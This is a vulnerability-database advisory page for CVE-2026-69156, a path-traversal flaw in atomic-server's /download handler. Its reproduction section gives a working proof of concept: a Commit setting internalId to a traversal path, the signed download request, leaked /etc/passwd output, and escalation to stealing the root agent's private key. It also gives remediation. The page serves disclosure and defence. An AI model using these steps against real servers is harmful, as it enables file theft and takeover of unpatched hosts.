Skip to main content

CVE-2026-69156 — Vulnerability in atomic-server — CVE Details

HIGH

Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)

Published November 18, 2026Updated November 18, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.49%). Schedule for your next planned update.

Does your project use an affected atomic-server version?

Paste your Cargo.lock to check it for CVE-2026-69156 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my Cargo.lock

Summary

Summary

The Commit apply path enforces no allowlist of writable properties, so any authenticated Agent can set the internalId string (datatype string, no character validation) on a resource it owns. The /download handler then uses that value verbatim as a filesystem path — file_path.push(internal_id); NamedFile::open(file_path) — with no sanitization and no containment check (server/src/handlers/download.rs:56-65). By setting internalId to a traversal path (../../../../etc/passwd) or an absolute path (PathBuf::push of an absolute path replaces the buffer), an attacker reads any file on the host. The highest-value target is the server config file storing the root agent private key, which yields full server compromise. Only the upload path sanitizes filenames (sanitize_filename); the download path trusts the stored value. The handler also never checks that the resource is a File.

Affected component

  • server/src/handlers/download.rs:56-65 — file_path.push(internal_id) + NamedFile::open, no sanitization, no File-class check.
  • lib/src/commit.rs (apply_changes) — sets any property; no server-managed-property denylist.

Steps to Reproduce

Environment: joepmeneer/atomic-server:develop, http://localhost:9883. Attacker is any Agent with write on a parent (self-signup, or via the /setup issue reported separately).

  1. Create a resource and set internalId to a traversal path — sign the Commit and POST /commit (200):
subject = http://localhost:9883/pwnfile
set = {
  "https://atomicdata.dev/properties/parent": "http://localhost:9883",
  "https://atomicdata.dev/properties/internalId": "../../../../../../../../etc/passwd"
}
  1. Download it. The auth signature is over the resolved subject (the server strips the /download prefix → http://localhost:9883/pwnfile):
GET /download/pwnfile HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/pwnfile <ms>")>

Response 200 OK returns the host /etc/passwd:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
  1. Escalate — set internalId = /atomic-storage/config/config.toml (absolute path) and download again:
server      = "http://localhost:9883"
agent       = "http://localhost:9883/agents/+/KwsAmyzc7S/..."
private_key = "REDACTED-ROOT-ED25519-PRIVATE-KEY"   # server root agent key
  1. Using the stolen key, the attacker signs a Commit with signer = <root agent> → POST /commit (200) edits data as root. Full compromise.

Expected: internalId treated as a server-managed property and/or /download canonicalizes and confines the path to uploads_path. Actual: Arbitrary host file read, including the root private key.

Impact

Arbitrary file read as the server process: /etc/passwd, env, TLS keys, the sled DB, K8s service-account tokens, and the root agent private key → root impersonation → full read/write/delete of all data. Only a standard account is needed.

Remediation

  • In download.rs: sanitize_filename(internal_id), then canonicalize and assert the resolved path stays within uploads_path before opening; verify the resource is a File.
  • Add a server-managed-property denylist (internalId, rights arrays, etc.) in lib/src/commit.rs so clients cannot set them.

Advisory Timeline

  • First published November 18, 2026 (8 days ago).
  • Last revised November 18, 2026 — 0 days after initial publication.

Affected Packages (1)

Affects 1 ecosystem: crates.io (1).

PackageFixed In
atomic-server crates.io · Affected: All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-69156?
Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key). This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.1/10).
How do I check if my project is affected by CVE-2026-69156?
CVE-2026-69156 affects atomic-server. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-69156 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.1

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
0.49%
EPSS percentile: 35.1

This is a below-median EPSS score — only 35.1% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-8vc4-8hjq-988p

Related CVEs

  • CVE-2026-69157
    CRITICAL

    Atomic Server: Unauthenticated `/setup` invite grants write access to the entire Drive

  • CVE-2026-83816
    HIGH

    CodeWhale: exec_shell parallel-readonly classifier auto-approves fd/rg/git grep exec flags enabling silent RCE

  • CVE-2026-83817
    HIGH

    CodeWhale: Automation auto_approve defaults to true, bypassing the task-path hardening fix for silent recurring agent execution

  • CVE-2026-69158
    HIGH

    Atomic Server: Unauthenticated full-response SSRF in Atomic-Server /bookmark endpoint

  • CVE-2026-69155
    HIGH

    Atomic Server: Stored XSS via uploaded files served inline (same-origin) on `/download` → account takeover

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my Cargo.lock